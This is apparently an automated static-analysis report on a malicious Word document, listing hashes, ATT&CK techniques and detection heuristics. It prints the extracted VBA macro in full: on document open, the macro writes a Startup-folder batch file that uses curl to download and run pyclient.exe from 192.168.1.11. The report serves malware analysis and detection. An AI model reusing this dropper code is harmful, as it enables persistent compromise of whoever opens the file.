Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 12ba6a1ca0779ef5…

MALICIOUS

Office (OOXML)

19.6 KB Created: 2021-10-07 13:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-14
MD5: e0170e73409c87a79eb43d71e7a4f67c SHA-1: 88725019626267bfed7829397e2f2c0dc56949d1 SHA-256: 12ba6a1ca0779ef5ae64d18e3b3a29e914f7ad0075c928da31ed511668da48fd
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1037.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains a VBA macro with a Document_Open auto-execution subroutine. This subroutine calls another function that constructs a batch file path in the user's startup folder and writes a command to it. The command uses `curl` to download a second-stage payload from `http://192.168.1.11/pyclient.exe` into the temporary directory and then executes it. The `Shell()` call in the VBA macro is a direct indicator of execution.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://autodiscover.it/autID= In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1312 bytes
SHA-256: e2bc99134a99f9b604440f8fb6e705a3416b8cb8c4e6ca5424adbdf51135419f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub fun()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Dim pr As String
Dim us As String

us = Environ$("Username")

pr = "C:\\users\\" & us & "\\\AppDat" & "a\\Roaming\\Micros" & "oft\\Windows\\Start " & "Menu\\Programs\\Startup\\Word$Data$TEMPT" & "EMP$.b" & "at"
en = Environ$("TEMP")

Set oFile = fso.CreateTextFile(pr)
oFile.Write "c"
oFile.Write "u"
oFile.Write "r"
oFile.Write "l"
oFile.Write " "
oFile.Write "h"
oFile.Write "t"
oFile.Write "t"
oFile.Write "p"
oFile.Write ":"
oFile.Write "//"
oFile.Write "19"
oFile.Write "2"
oFile.Write ".16"
oFile.Write "8."
oFile.Write "1"
oFile.Write "."
oFile.Write "1"
oFile.Write "1"
oFile.Write "/"
oFile.WriteLine "pyclient" & ".e" & "xe" & " -o" & " " & en & "\\pyclient.e" & "xe" & " && " & en & "\\pyclient.e" & "xe"
oFile.Close
Set fso = Nothing
Set oFile = Nothing
VAR = Shell(pr, vbHide)


End Sub
Sub Document_Open()

fn = fun()
End Sub




Attribute VB_Name = "NewMacros"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 50e5003049749d72b94951c3c9ff3f0703b6cf7b9e13d3a6e517e7931b08fd10

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